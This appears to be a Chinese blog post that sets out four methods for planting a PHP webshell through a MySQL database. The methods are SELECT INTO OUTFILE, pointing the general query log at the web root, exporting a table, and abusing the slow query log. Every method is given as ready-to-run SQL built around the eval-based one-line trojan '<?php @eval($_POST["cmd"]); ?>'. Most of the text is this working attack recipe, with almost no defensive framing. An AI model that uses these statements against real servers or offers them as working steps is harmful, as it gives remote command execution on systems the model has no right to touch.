MySql数据库写入Webshell的方法

由 shellme 发布

前提条件

  • 数据库当前用户为root权限
  • 已知当前网站的绝对路径(确定有写入权限)

secure_file_priv参数说明

这个参数用来限制数据导入和导出操作的效果,例如执行LOAD DATA、SELECT … INTO OUTFILE语句和LOAD_FILE()函数。

  • 如果这个参数为空,这个变量没有效果,表示不对MySql服务的导入导出做限制
  • 如果这个参数设为一个目录名,MySql服务只允许在这个目录中执行文件的导入和导出操作。这个目录必须存在,MySql服务不会创建它
  • 如果这个参数为NULL,MySql服务会禁止导入和导出操作。

查看secure_file_priv变量值

show variables like '%secure%';

查看是否有写入权限

select group_concat(user,0x3a,file_priv) from mysql.user;
出现Y,代表有文件权限,N就是没有

(一)、select into outfile 语句直接写入Webshell:

当secure_file_priv值不为NULL符合写入条件时,可以通过

select '<?php @eval($_POST["cmd"]); ?>' into outfile 'C:/phpstudy/www/shell.php';

写入Webshell

(二)、开启全局日志写入Webshell

当secure_file_priv值为NULL时,可以使用这种方法

show variables like '%general%'; 查看MySql全局日志的配置

全局日志配置

set global general_log=on;  开启全局日志
set global general_log_file='C:/phpstudy/www/shell.php'; 设置日志文件为网站绝对路径下的文件

修改全局日志配置

这样我们执行SQL语句时就会被写入到日志文件里

select '<?php @eval($_POST["cmd"]); ?>'; 执行语句写入日志

写入日志文件
写入日志文件成功

(三)、基于创建再导出写入Webshell

当secure_file_priv值不为NULL符合写入条件时,执行下面的sql语句,创建表并在表中写入一句话木马,再导出到网站的绝对路径

use test; 连接test数据库
create table test(id text not null); 创建test表并在里面添加id字段
insert into test(id) values('<?php @eval($_POST["cmd"]); ?>'); 写入一句话木马
select id from test into outfile 'C:/phpstudy/www/shell2.php'; 导出至网站绝对路径下的文件
drop table if exists test; 删除test表

(四)、基于慢查询日志写入Webshell

当secure_file_priv值为NULL时,可以使用这种方法

慢查询日志:记录所有执行时间超过long_query_time秒的所有查询或者不适用索引的查询。默认情况下,MySql数据库是不开启慢查询日志的,long_query_time的默认值为10,即运行10秒以上的语句是慢查询语句。

show variables like '%long%'; 查看long_query_time变量值
set global long_query_time=1; 修改long_query_time变量值

查看long_query_time变量值

show variables like '%slow%'; 查看慢查询日志的配置
set global slow_query_log=on; 开启慢查询日志
set global slow_query_log_file='C:/phpstudy/www/shell3.php'; 修改日志文件为网站绝对路径下的文件

执行sql语句,写webshell进慢查询日志文件,注意我们执行的sql语句有一个sleep的延时,这个延时需要大于long_query_time才能写入慢查询日志。

select '<?php @eval($_POST["cmd"]); ?>' or sleep(11);

写入日志文件成功


暂无评论

发表评论